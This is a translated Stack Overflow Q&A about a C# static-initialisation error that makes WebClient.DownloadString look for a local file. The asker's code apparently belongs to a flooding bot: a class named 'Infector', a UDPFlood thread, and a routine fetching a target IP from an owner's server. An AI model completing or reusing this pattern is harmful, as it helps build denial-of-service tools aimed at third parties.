【问题标题】:C# DownloadString ErrorC# 下载字符串错误
【发布时间】:2014-05-29 05:51:29
【问题描述】:

由于某种原因,在输入时

    public static Thread UDP = new Thread(UDPFlood);
    public static string IP = GetIP();
    public static string ownerURL = "{url}";
    public static string GetIP()
    {
        ownerURL = ownerURL.Replace("{url}","http://www.test.com");
        WebClient ipGrabber = new WebClient();
        return ipGrabber.DownloadString(ownerURL + "/getIP.php");
    }

它抛出这个错误:

System.TypeInitializationException:类型初始化器 'Infector.FormMain' 抛出异常。 ---> System.Net.WebException: 找不到文件“C:\getIP.php”。 ---> System.Net.WebException: 找不到文件“C:\getIP.php”。 ---> System.IO.FileNotFoundException: 找不到文件'C:\getIP.php'。

基本上,在使用字符串 + /getIP.php 时,它会在我的计算机上查找目录,而不是在网络上。

【问题讨论】:

  • 那一定是替换不起作用,这有什么意义呢?
  • 你能在return 处设置断点并验证ownerURL 是什么吗?

标签: c# .net


【解决方案1】:

类初始化器很可能在ownerURL 初始化之前调用GetIP。因此,ownerURL.Replace 调用并没有达到您想要的效果。

出于这个原因,我建议您避免使用静态初始化程序;执行顺序很难预测。

【讨论】:

  • 乍一看,只有当您的代码与示例不同时,这才是正确的;否则,如果ownerURL 未初始化,则为nullownerURL.Replace 将抛出NullReferenceException。把我的答案留在这里,以防它确实有帮助。
猜你喜欢
  • 1970-01-01
  • 2020-09-18
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2017-12-23
  • 2014-04-28
相关资源
最近更新 更多